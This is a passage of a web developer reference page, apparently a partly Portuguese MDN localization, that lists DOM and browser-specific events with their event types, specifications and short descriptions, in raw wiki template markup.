{{event("dragenter")}}{{domxref("DragEvent")}}HTML5A dragged element or text selection enters a valid drop target.
{{event("dragleave")}}{{domxref("DragEvent")}}HTML5A dragged element or text selection leaves a valid drop target.
{{event("dragover")}}{{domxref("DragEvent")}}HTML5An element or text selection is being dragged over a valid drop target (every 350ms).
{{event("dragstart")}}{{domxref("DragEvent")}}HTML5The user starts dragging an element or text selection.
{{event("drop")}}{{domxref("DragEvent")}}HTML5An element is dropped on a valid drop target.
{{event("durationchange")}}{{domxref("Event")}}HTML5 mediaThe duration attribute has been updated.
{{event("emptied")}}{{domxref("Event")}}HTML5 mediaThe media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
{{event("end_(SpeechRecognition)","end")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The speech recognition service has disconnected.
{{event("end_(SpeechSynthesis)","end")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName("Web Speech API")}}The utterance has finished being spoken.
{{event("ended")}}{{domxref("Event")}}HTML5 mediaPlayback has stopped because the end of the media was reached.
{{event("ended_(Web_Audio)", "ended")}}{{domxref("Event")}}{{SpecName("Web Audio API")}}Playback has stopped because the end of the media was reached.
{{event("endEvent")}}{{domxref("TimeEvent")}}SVGA SMIL animation element ends.
{{event("error")}}{{domxref("UIEvent")}}DOM L3A resource failed to load.
{{event("error")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgresso falhou.
{{event("error")}}{{domxref("Event")}}OfflineAn error occurred while downloading the cache manifest or updating the content of the application.
{{event("error")}}{{domxref("Event")}}WebSocketA WebSocket connection has been closed with prejudice (some data couldn't be sent for example).
{{event("error")}}{{domxref("Event")}}Server Sent EventsAn event source connection has been failed.
{{event("error")}}{{domxref("Event")}}IndexedDBA request caused an error and failed.
{{event("error_(SpeechRecognitionError)","error")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}A speech recognition error occurs.
{{event("error_(SpeechSynthesisError)","error")}}{{domxref("SpeechSynthesisErrorEvent")}}{{SpecName('Web Speech API')}}An error occurs that prevents the utterance from being successfully spoken.
{{event("focus")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has received focus (does not bubble).
{{event("focusin")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element is about to receive focus (bubbles).
{{event("focusout")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element is about to lose focus (bubbles).
{{event("fullscreenchange")}}{{gecko_minversion_inline("9")}}{{domxref("Event")}}Full ScreenAn element was turned to fullscreen mode or back to normal mode.
{{event("fullscreenerror")}}{{gecko_minversion_inline("9")}}{{domxref("Event")}}Full ScreenIt was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.
{{event("gamepadconnected")}}{{domxref("GamepadEvent")}} {{experimental_inline}}GamepadA gamepad has been connected.
{{event("gamepaddisconnected")}}{{domxref("GamepadEvent")}} {{experimental_inline}}GamepadA gamepad has been disconnected.
{{event("gotpointercapture")}}{{domxref("PointerEvent")}}Pointer EventsElement receives pointer capture.
{{event("hashchange")}}{{domxref("HashChangeEvent")}}HTML5The fragment identifier of the URL has changed (the part of the URL after the #).
{{event("lostpointercapture")}}{{domxref("PointerEvent")}}Pointer EventsElement lost pointer capture.
{{event("input")}}{{domxref("Event")}}HTML5The value of an element changes or the content of an element with the attribute contenteditable is modified.
{{event("invalid")}}{{domxref("Event")}}HTML5A submittable element has been checked and doesn't satisfy its constraints.
{{event("keydown")}}{{domxref("KeyboardEvent")}}DOM L3A key is pressed down.
{{event("keypress")}}{{domxref("KeyboardEvent")}}DOM L3A key is pressed down and that key normally produces a character value (use input instead).
{{event("keyup")}}{{domxref("KeyboardEvent")}}DOM L3A key is released.
{{event("languagechange")}} {{experimental_inline}}{{domxref("Event")}}{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}The user's preferred languages have changed.
{{event("levelchange")}}{{domxref("Event")}}Battery statusThe level attribute has been updated.
{{event("load")}}{{domxref("UIEvent")}}DOM L3A resource and its dependent resources have finished loading.
load{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgression has been successful.
{{event("loadeddata")}}{{domxref("Event")}}HTML5 mediaThe first frame of the media has finished loading.
{{event("loadedmetadata")}}{{domxref("Event")}}HTML5 mediaThe metadata has been loaded.
{{event("loadend")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgress has stopped (after "error", "abort" or "load" have been dispatched).
{{event("loadstart")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgresso começou.
{{event("mark")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The spoken utterance reaches a named SSML "mark" tag.
message{{domxref("MessageEvent")}}WebSocketA message is received through a WebSocket.
message{{domxref("MessageEvent")}}Web WorkersA message is received from a Web Worker.
message{{domxref("MessageEvent")}}Web MessagingA message is received from a child (i)frame or a parent window.
message{{domxref("MessageEvent")}}Server Sent EventsA message is received through an event source.
{{event("messageerror")}}{{domxref("MessageEvent")}}{{domxref("MessagePort")}}, Web Workers, Broadcast Channel, {{domxref("Window")}}A message error is raised when a message is received by an object.
{{event("message_(ServiceWorker)","message")}} {{experimental_inline}}{{domxref("ServiceWorkerMessageEvent")}} or {{domxref("ExtendableMessageEvent")}}, depending on context.Service WorkersA message is received from a service worker, or a message is received in a service worker from another context.
{{event("mousedown")}}{{domxref("MouseEvent")}}DOM L3A pointing device button (usually a mouse) is pressed on an element.
{{event("mouseenter")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved onto the element that has the listener attached.
{{event("mouseleave")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved off the element that has the listener attached.
{{event("mousemove")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved over an element.
{{event("mouseout")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved off the element that has the listener attached or off one of its children.
{{event("mouseover")}}{{domxref("MouseEvent")}}DOM L3A pointing device is moved onto the element that has the listener attached or onto one of its children.
{{event("mouseup")}}{{domxref("MouseEvent")}}DOM L3A pointing device button is released over an element.
{{event("nomatch")}} {{experimental_inline}}{{domxref("SpeechRecognitionEvent")}}{{SpecName('Web Speech API')}}The speech recognition service returns a final result with no significant recognition.
{{event("notificationclick")}}{{domxref("NotificationEvent")}} {{experimental_inline}}{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}A system notification spawned by {{domxref("ServiceWorkerRegistration.showNotification()")}} has been clicked.
{{event("noupdate")}}{{domxref("Event")}}OfflineThe manifest hadn't changed.
{{event("obsolete")}}{{domxref("Event")}}OfflineThe manifest was found to have become a 404 or 410 page, so the application cache is being deleted.
{{event("offline")}}{{domxref("Event")}}HTML5 offlineThe browser has lost access to the network.
{{event("online")}}{{domxref("Event")}}HTML5 offlineThe browser has gained access to the network (but particular websites might be unreachable).
open{{domxref("Event")}}WebSocketA WebSocket connection has been established.
open{{domxref("Event")}}Server Sent EventsAn event source connection has been established.
{{event("orientationchange")}}{{domxref("Event")}}Screen OrientationThe orientation of the device (portrait/landscape) has changed
{{event("pagehide")}}{{domxref("PageTransitionEvent")}}HTML5A session history entry is being traversed from.
{{event("pageshow")}}{{domxref("PageTransitionEvent")}}HTML5A session history entry is being traversed to.
{{event("paste")}}{{domxref("ClipboardEvent")}} {{experimental_inline}}ClipboardData has been transferred from the system clipboard to the document.
{{event("pause")}}{{domxref("Event")}}HTML5 mediaPlayback has been paused.
{{event("pause_(SpeechSynthesis)", "pause")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The utterance is paused part way through.
{{event("pointercancel")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer is unlikely to produce any more events.
{{event("pointerdown")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer enters the active buttons state.
{{event("pointerenter")}}{{domxref("PointerEvent")}}Pointer EventsPointing device is moved inside the hit-testing boundary.
{{event("pointerleave")}}{{domxref("PointerEvent")}}Pointer EventsPointing device is moved out of the hit-testing boundary.
{{event("pointerlockchange")}}{{domxref("Event")}}Pointer LockThe pointer was locked or released.
{{event("pointerlockerror")}}{{domxref("Event")}}Pointer LockIt was impossible to lock the pointer for technical reasons or because the permission was denied.
{{event("pointermove")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer changed coordinates.
{{event("pointerout")}}{{domxref("PointerEvent")}}Pointer EventsThe pointing device moved out of hit-testing boundary or leaves detectable hover range.
{{event("pointerover")}}{{domxref("PointerEvent")}}Pointer EventsThe pointing device is moved into the hit-testing boundary.
{{event("pointerup")}}{{domxref("PointerEvent")}}Pointer EventsThe pointer leaves the active buttons state.
{{event("play")}}{{domxref("Event")}}HTML5 mediaPlayback has begun.
{{event("playing")}}{{domxref("Event")}}HTML5 mediaPlayback is ready to start after having been paused or delayed due to lack of data.
{{event("popstate")}}{{domxref("PopStateEvent")}}HTML5A session history entry is being navigated to (in certain cases).
{{event("progress")}}{{domxref("ProgressEvent")}}Progress and XMLHttpRequestEm progresso.
progress{{domxref("ProgressEvent")}}OfflineThe user agent is downloading resources listed by the manifest.
{{event("push")}}{{domxref("PushEvent")}} {{experimental_inline}}{{SpecName("Push API")}}A Service Worker has received a push message.
{{event("pushsubscriptionchange")}}{{domxref("PushEvent")}} {{experimental_inline}}{{SpecName("Push API")}}A PushSubscription has expired.
{{event("ratechange")}}{{domxref("Event")}}HTML5 mediaThe playback rate has changed.
{{event("readystatechange")}}{{domxref("Event")}}HTML5 and XMLHttpRequestThe readyState attribute of a document has changed.
{{event("repeatEvent")}}{{domxref("TimeEvent")}}SVGA SMIL animation element is repeated.
{{event("reset")}}{{domxref("Event")}}DOM L2, HTML5A form is reset.
{{event("resize")}}{{domxref("UIEvent")}}DOM L3The document view has been resized.
{{event("resourcetimingbufferfull")}}{{domxref("Performance")}}Resource TimingThe browser's resource timing buffer is full.
{{event("result")}} {{experimental_inline}}{{domxref("SpeechRecognitionEvent")}} {{experimental_inline}}{{SpecName('Web Speech API')}}The speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
{{event("resume")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}} {{experimental_inline}}{{SpecName('Web Speech API')}}A paused utterance is resumed.
{{event("scroll")}}{{domxref("UIEvent")}}DOM L3The document view or an element has been scrolled.
{{event("seeked")}}{{domxref("Event")}}HTML5 mediaA seek operation completed.
{{event("seeking")}}{{domxref("Event")}}HTML5 mediaA seek operation began.
{{event("select")}}{{domxref("UIEvent")}}DOM L3Some text is being selected.
{{event("selectstart")}} {{experimental_inline}}{{domxref("Event")}}{{ SpecName('Selection API')}}A selection just started.
{{event("selectionchange")}} {{experimental_inline}}{{domxref("Event")}}{{ SpecName('Selection API')}}The selection in the document has been changed.
{{event("show")}}{{domxref("MouseEvent")}}HTML5A contextmenu event was fired on/bubbled to an element that has a contextmenu attribute
{{event("soundend")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Any sound — recognisable speech or not — has stopped being detected.
{{event("soundstart")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Any sound — recognisable speech or not — has been detected.
{{event("speechend")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Speech recognised by the speech recognition service has stopped being detected.
{{event("speechstart")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}Sound that is recognised by the speech recognition service as speech has been detected.
{{event("stalled")}}{{domxref("Event")}}HTML5 mediaThe user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
{{event("start_(SpeechRecognition)","start")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
{{event("start_(SpeechSynthesis)","start")}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The utterance has begun to be spoken.
{{event("storage")}}{{domxref("StorageEvent")}}Web StorageA storage area (localStorage or sessionStorage) has changed.
{{event("submit")}}{{domxref("Event")}}DOM L2, HTML5A form is submitted.
success{{domxref("Event")}}IndexedDBA request successfully completed.
{{event("suspend")}}{{domxref("Event")}}HTML5 mediaMedia data loading has been suspended.
{{event("SVGAbort")}}{{domxref("SVGEvent")}}SVGPage loading has been stopped before the SVG was loaded.
{{event("SVGError")}}{{domxref("SVGEvent")}}SVGAn error has occurred before the SVG was loaded.
{{event("SVGLoad")}}{{domxref("SVGEvent")}}SVGAn SVG document has been loaded and parsed.
{{event("SVGResize")}}{{domxref("SVGEvent")}}SVGAn SVG document is being resized.
{{event("SVGScroll")}}{{domxref("SVGEvent")}}SVGAn SVG document is being scrolled.
{{event("SVGUnload")}}{{domxref("SVGEvent")}}SVGAn SVG document has been removed from a window or frame.
{{event("SVGZoom")}}{{domxref("SVGZoomEvent")}}SVGAn SVG document is being zoomed.
{{event("timeout")}}{{domxref("ProgressEvent")}}XMLHttpRequest 
{{event("timeupdate")}}{{domxref("Event")}}HTML5 mediaThe time indicated by the currentTime attribute has been updated.
{{event("touchcancel")}}{{domxref("TouchEvent")}}Touch EventsA touch point has been disrupted in an implementation-specific manners (too many touch points for example).
{{event("touchend")}}{{domxref("TouchEvent")}}Touch EventsA touch point is removed from the touch surface.
{{event("touchmove")}}{{domxref("TouchEvent")}}Touch EventsA touch point is moved along the touch surface.
{{event("touchstart")}}{{domxref("TouchEvent")}}Touch EventsA touch point is placed on the touch surface.
{{event("transitionend")}}{{domxref("TransitionEvent")}} {{experimental_inline}}CSS TransitionsA CSS transition has completed.
{{event("unload")}}{{domxref("UIEvent")}}DOM L3The document or a dependent resource is being unloaded.
{{event("updateready")}}{{domxref("Event")}}OfflineThe resources listed in the manifest have been newly redownloaded, and the script can use swapCache() to switch to the new cache.
upgradeneeded IndexedDBAn attempt was made to open a database with a version number higher than its current version. A versionchange transaction has been created.
{{event("userproximity")}}{{domxref("UserProximityEvent")}} {{experimental_inline}}{{SpecName("Proximity Events")}}Fresh data is available from a proximity sensor (indicates whether the nearby object is near the device or not).
{{event("voiceschanged")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The list of {{domxref("SpeechSynthesisVoice")}} objects that would be returned by the {{domxref("SpeechSynthesis.getVoices()")}} method has changed (when the {{event("voiceschanged")}} event fires.)
versionchange IndexedDBA versionchange transaction completed.
{{event("visibilitychange")}}{{domxref("Event")}}Page visibilityThe content of a tab has become visible or has been hidden.
{{event("volumechange")}}{{domxref("Event")}}HTML5 mediaThe volume has changed.
{{event("waiting")}}{{domxref("Event")}}HTML5 mediaPlayback has stopped because of a temporary lack of data.
{{event("wheel")}}{{gecko_minversion_inline("17")}}{{domxref("WheelEvent")}}DOM L3A wheel button of a pointing device is rotated in any direction.
- -

Eventos não padrão

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
{{event("afterscriptexecute")}}{{domxref("Event")}}Mozilla SpecificA script has been executed.
{{event("beforescriptexecute")}}{{domxref("Event")}}Mozilla SpecificA script is about to be executed.
{{event("beforeinstallprompt")}}{{domxref("Event")}}Chrome specificA user is prompted to save a web site to a home screen on mobile.
{{event("cardstatechange")}} Firefox OS specificThe {{domxref("MozMobileConnection.cardState")}} property changes value.
{{event("change")}}{{domxref("DeviceStorageChangeEvent")}}Firefox OS specificThis event is triggered each time a file is created, modified or deleted on a given storage area.
{{event("connectionInfoUpdate")}} Firefox OS specificThe informations about the signal strength and the link speed have been updated.
{{event("cfstatechange")}} Firefox OS specificThe call forwarding state changes.
{{event("datachange")}} Firefox OS specificThe {{domxref("MozMobileConnection.data")}} object changes values.
{{event("dataerror")}} Firefox OS specificThe {{domxref("MozMobileConnection.data")}} object receive an error from the RIL.
{{event("DOMMouseScroll")}}{{deprecated_inline}} Mozilla specificThe wheel button of a pointing device is rotated (detail attribute is a number of lines). (use {{event("wheel")}} instead)
dragdrop {{deprecated_inline}}DragEventMozilla specificAn element is dropped (use {{event("drop")}} instead).
dragexit {{deprecated_inline}}DragEventMozilla specificA drag operation is being ended(use {{event("dragend")}} instead).
draggesture {{deprecated_inline}}DragEventMozilla specificThe user starts dragging an element or text selection (use {{event("dragstart")}} instead).
{{event("icccardlockerror")}} Firefox OS specificthe {{domxref("MozMobileConnection.unlockCardLock()")}} or {{domxref("MozMobileConnection.setCardLock()")}} methods fails.
{{event("iccinfochange")}} Firefox OS specificThe {{domxref("MozMobileConnection.iccInfo")}} object changes.
{{event("localized")}} Mozilla SpecificThe page has been localized using data-l10n-* attributes.
{{event("mousewheel")}}{{deprecated_inline}} IE inventedThe wheel button of a pointing device is rotated.
{{event("MozAudioAvailable")}}{{domxref("Event")}}Mozilla specificThe audio buffer is full and the corresponding raw samples are available.
MozBeforeResize {{obsolete_inline}} Mozilla specificUma janela está prestes a ser redimensionada.
{{event("mozbrowseractivitydone")}} Firefox OS Browser API-specificSent when some activity has been completed (complete description TBD.)
{{event("mozbrowserasyncscroll")}} Firefox OS Browser API-specificSent when the scroll position within a browser {{HTMLElement("iframe")}} changes.
{{event("mozbrowseraudioplaybackchange")}} Firefox OS Browser API-specificSent when audio starts or stops playing within the browser {{HTMLElement("iframe")}} content.
{{event("mozbrowsercaretstatechanged")}} Firefox OS Browser API-specificSent when the text selected inside the browser {{HTMLElement("iframe")}} content changes.
{{event("mozbrowserclose")}} Firefox OS Browser API-specificSent when window.close() is called within a browser {{HTMLElement("iframe")}}.
{{event("mozbrowsercontextmenu")}} Firefox OS Browser API-specificSent when a browser {{HTMLElement("iframe")}} try to open a context menu.
{{event("mozbrowserdocumentfirstpaint")}} Firefox OS Browser API-specificSent when a new paint occurs on any document in the browser {{HTMLElement("iframe")}}.
{{event("mozbrowsererror")}} Firefox OS Browser API-specificSent when an error occured while trying to load a content within a browser iframe
{{event("mozbrowserfindchange")}} Firefox OS Browser API-specificSent when a search operation is performed on the browser {{HTMLElement("iframe")}} content (see HTMLIFrameElement search methods.)
{{event("mozbrowserfirstpaint")}} Firefox OS Browser API-specificSent when the {{HTMLElement("iframe")}} paints content for the first time (this doesn't include the initial paint from about:blank.)
{{event("mozbrowsericonchange")}} Firefox OS Browser API-specificSent when the favicon of a browser iframe changes.
{{event("mozbrowserlocationchange")}} Firefox OS Browser API-specificSent when an browser iframe's location changes.
{{event("mozbrowserloadend")}} Firefox OS Browser API-specificSent when the browser iframe has finished loading all its assets.
{{event("mozbrowserloadstart")}} Firefox OS Browser API-specificSent when the browser iframe starts to load a new page.
{{event("mozbrowsermanifestchange")}} Firefox OS Browser API-specificSent when a the path to the app manifest changes, in the case of a browser {{HTMLElement("iframe")}} with an open web app embedded in it.
{{event("mozbrowsermetachange")}} Firefox OS Browser API-specificSent when a {{htmlelement("meta")}} elelment is added to, removed from or changed in the browser {{HTMLElement("iframe")}}'s content.
{{event("mozbrowseropensearch")}} Firefox OS Browser API-specificSent when a link to a search engine is found.
{{event("mozbrowseropentab")}} Firefox OS Browser API-specificSent when a new tab is opened within a browser {{HTMLElement("iframe")}} as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.)
{{event("mozbrowseropenwindow")}} Firefox OS Browser API-specificSent when {{domxref("window.open()")}} is called within a browser iframe.
{{event("mozbrowserresize")}} Firefox OS Browser API-specificSent when the browser {{HTMLElement("iframe")}}'s window size has changed.
{{event("mozbrowserscroll")}} Firefox OS Browser API-specificSent when the browser {{HTMLElement("iframe")}} content scrolls.
{{event("mozbrowserscrollareachanged")}} Firefox OS Browser API-specificSent when the available scrolling area  in the browser {{HTMLElement("iframe")}} changes. This can occur on resize and when the page size changes (while loading for example.)
{{event("mozbrowserscrollviewchange")}} Firefox OS Browser API-specificSent when asynchronous scrolling (i.e. APCZ) starts or stops.
{{event("mozbrowsersecuritychange")}} Firefox OS Browser API-specificSent when the SSL state changes within a browser iframe.
{{event("mozbrowserselectionstatechanged")}} Firefox OS Browser API-specificSent when the text selected inside the browser {{HTMLElement("iframe")}} content changes. Note that this is deprecated, and newer implementations use {{event("mozbrowsercaretstatechanged")}} instead.
{{event("mozbrowsershowmodalprompt")}} Firefox OS Browser API-specificSent when {{domxref("window.alert","alert()")}}, {{domxref("window.confirm","confirm()")}} or {{domxref("window.prompt","prompt()")}} are called within a browser iframe
{{event("mozbrowsertitlechange")}} Firefox OS Browser API-specificSent when the document.title changes within a browser iframe.
{{event("mozbrowserusernameandpasswordrequired")}} Firefox OS Browser API-specificSent when an HTTP authentification is requested.
{{event("mozbrowservisibilitychange")}} Firefox OS Browser API-specificSent when the visibility state of the current browser iframe {{HTMLElement("iframe")}} changes, for example due to a call to {{domxref("HTMLIFrameElement.setVisible","setVisible()")}}.
{{event("MozGamepadButtonDown")}} To be specifiedA gamepad button is pressed down.
{{event("MozGamepadButtonUp")}} To be specifiedA gamepad button is released.
{{event("MozMousePixelScroll")}} {{deprecated_inline}} Mozilla specificThe wheel button of a pointing device is rotated (detail attribute is a number of pixels). (use wheel instead)
{{event("MozOrientation")}} {{deprecated_inline}} Mozilla specificFresh data is available from an orientation sensor (see deviceorientation).
{{event("MozScrolledAreaChanged")}}{{domxref("UIEvent")}}Mozilla specificThe document view has been scrolled or resized.
{{event("moztimechange")}} Mozilla specificThe time of the device has been changed.
MozTouchDown {{deprecated_inline}} Mozilla specificA touch point is placed on the touch surface (use touchstart instead).
MozTouchMove {{deprecated_inline}} Mozilla specificA touch point is moved along the touch surface (use touchmove instead).
MozTouchUp {{deprecated_inline}} Mozilla specificA touch point is removed from the touch surface (use touchend instead).
{{event("alerting")}}{{domxref("CallEvent")}}To be specifiedThe correspondent is being alerted (his/her phone is ringing).
{{event("busy")}}{{domxref("CallEvent")}}To be specifiedThe line of the correspondent is busy.
{{event("callschanged")}}{{domxref("CallEvent")}}To be specifiedA call has been added or removed from the list of current calls.
onconnected {{event("connected")}}{{domxref("CallEvent")}}To be specifiedA call has been connected.
{{event("connecting")}}{{domxref("CallEvent")}}To be specifiedA call is about to connect.
{{event("delivered")}}{{domxref("SMSEvent")}}To be specifiedAn SMS has been successfully delivered.
{{event("dialing")}}{{domxref("CallEvent")}}To be specifiedThe number of a correspondent has been dialed.
{{event("disabled")}} Firefox OS specificWifi has been disabled on the device.
{{event("disconnected")}}{{domxref("CallEvent")}}To be specifiedA call has been disconnected.
{{event("disconnecting")}}{{domxref("CallEvent")}}To be specifiedA call is about to disconnect.
{{event("enabled")}} Firefox OS specificWifi has been enabled on the device.
{{event("error_(Telephony)","error")}}{{domxref("CallEvent")}}To be specifiedAn error occurred.
{{event("held")}}{{domxref("CallEvent")}}To be specifiedA call has been held.
{{event("holding")}}{{domxref("CallEvent")}}To be specifiedA call is about to be held.
{{event("incoming")}}{{domxref("CallEvent")}}To be specifiedA call is being received.
{{event("received")}}{{domxref("SMSEvent")}}To be specifiedAn SMS has been received.
{{event("resuming")}}{{domxref("CallEvent")}}To be specifiedA call is about to resume.
{{event("sent")}}{{domxref("SMSEvent")}}To be specifiedAn SMS has been sent.
{{event("statechange")}}{{domxref("CallEvent")}}To be specifiedThe state of a call has changed.
{{event("statuschange")}} Firefox OS specificThe status of the Wifi connection changed.
{{event("overflow")}}{{domxref("UIEvent")}}Mozilla specificAn element has been overflowed by its content or has been rendered for the first time in this state (only works for elements styled with overflow != visible).
{{event("smartcard-insert")}} Mozilla specificA smartcard has been inserted.
{{event("smartcard-remove")}} Mozilla specificA smartcard has been removed.
{{event("stkcommand")}} Firefox OS specificThe STK Proactive Command is issued from ICC.
{{event("stksessionend")}} Firefox OS specificThe STK Session is terminated by ICC.
text Mozilla SpecificA generic composition event occurred.
{{event("touchenter")}}{{domxref("TouchEvent")}}Touch Events Removed 
{{event("touchleave")}}{{domxref("TouchEvent")}}Touch Events Removed 
{{event("underflow")}}{{domxref("UIEvent")}}Mozilla specificAn element is no longer overflowed by its content (only works for elements styled with overflow != visible).
uploadprogress {{deprecated_inline}}{{domxref("ProgressEvent")}}Mozilla SpecificUpload is in progress (see {{event("progress")}}).
-

{{event("ussdreceived")}}

-
 Firefox OS specificA new USSD message is received
{{event("voicechange")}} Firefox OS specificThe {{domxref("MozMobileConnection.voice")}} object changes values.
- -

Eventos específicos da Mozilla

- -
-

Nota: esses eventos nunca são expostos ao conteúdo da Web e só podem ser utilizados no contexto de conteúdo do Chrome.

-
- -

Eventos de XUL

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
{{event("broadcast")}} XULAn observer noticed a change to the attributes of a watched broadcaster.
{{event("CheckboxStateChange")}} XULThe state of a checkbox has been changed either by a user action or by a script (useful for accessibility).
close XULThe close button of the window has been clicked.
{{event("command")}} XULAn element has been activated.
{{event("commandupdate")}} XULA command update occurred on a commandset element.
{{event("DOMMenuItemActive")}} XULA menu or menuitem has been hovered or highlighted.
{{event("DOMMenuItemInactive")}} XULA menu or menuitem is no longer hovered or highlighted.
{{event("popuphidden")}}PopupEventXULA menupopup, panel or tooltip has been hidden.
{{event("popuphiding")}}PopupEventXULA menupopup, panel or tooltip is about to be hidden.
{{event("popupshowing")}}PopupEventXULA menupopup, panel or tooltip is about to become visible.
{{event("popupshown")}}PopupEventXULA menupopup, panel or tooltip has become visible.
{{event("RadioStateChange")}} XULThe state of a radio has been changed either by a user action or by a script (useful for accessibility).
{{event("ValueChange")}} XULThe value of an element has changed (a progress bar for example, useful for accessibility).
- -

Enventos específicos de extras

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
MozSwipeGesture Addons specificA touch point is swiped across the touch surface
MozMagnifyGestureStart Addons specificTwo touch points start to move away from each other.
MozMagnifyGestureUpdate Addons specificTwo touch points move away from each other (after a MozMagnifyGestureStart).
MozMagnifyGesture Addons specificTwo touch points moved away from each other (after a sequence of MozMagnifyGestureUpdate).
MozRotateGestureStart Addons specificTwo touch points start to rotate around a point.
MozRotateGestureUpdate Addons specificTwo touch points rotate around a point (after a MozRotateGestureStart).
MozRotateGesture Addons specificTwo touch points rotate around a point (after a sequence of MozRotateGestureUpdate).
MozTapGesture Addons specificTwo touch points are tapped on the touch surface.
MozPressTapGesture Addons specificA "press-tap" gesture happened on the touch surface (first finger down, second finger down, second finger up, first finger up).
MozEdgeUIGesture Addons specificA touch point is swiped across the touch surface to invoke the edge UI (Win8 only).
MozAfterPaint Addons specificContent has been repainted.
DOMPopupBlocked Addons specificA popup has been blocked
DOMWindowCreated Addons specificA window has been created.
DOMWindowClose Addons specificA window is about to be closed.
DOMTitleChanged Addons specifcThe title of a window has changed.
DOMLinkAdded Addons specifcA link has been added a document.
DOMLinkRemoved Addons specifcA link has been removed inside from a document.
DOMMetaAdded Addons specificA meta element has been added to a document.
DOMMetaRemoved Addons specificA meta element has been removed from a document.
DOMWillOpenModalDialog Addons specificA modal dialog is about to open.
DOMModalDialogClosed Addons specificA modal dialog has been closed.
DOMAutoComplete Addons specificThe content of an element has been auto-completed.
DOMFrameContentLoaded Addons specificThe frame has finished loading (but not its dependent resources).
AlertActive Addons specificA notification element is shown.
AlertClose Addons specificA notification element is closed.
fullscreen Addons specificBrowser fullscreen mode has been entered or left.
sizemodechange Addons specificWindow has entered/left fullscreen mode, or has been minimized/unminimized.
MozEnteredDomFullscreen Addons specificDOM fullscreen mode has been entered.
SSWindowClosing Addons specificThe session store will stop tracking this window.
SSTabClosing Addons specificThe session store will stop tracking this tab.
SSTabRestoring Addons specificA tab is about to be restored.
SSTabRestored Addons specificA tab has been restored.
SSWindowStateReady Addons specificA window state has switched to "ready".
SSWindowStateBusy Addons specificA window state has switched to "busy".
TabOpen Addons specificA tab has been opened.
TabClose Addons specificA tab has been closed.
TabSelect Addons specificA tab has been selected.
TabShow Addons specificA tab has been shown.
TabHide Addons specificA tab has been hidden.
TabPinned Addons specificA tab has been pinned.
TabUnpinned Addons specificA tab has been unpinned.
- -

Eventos específicos da ferramenta do programador

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
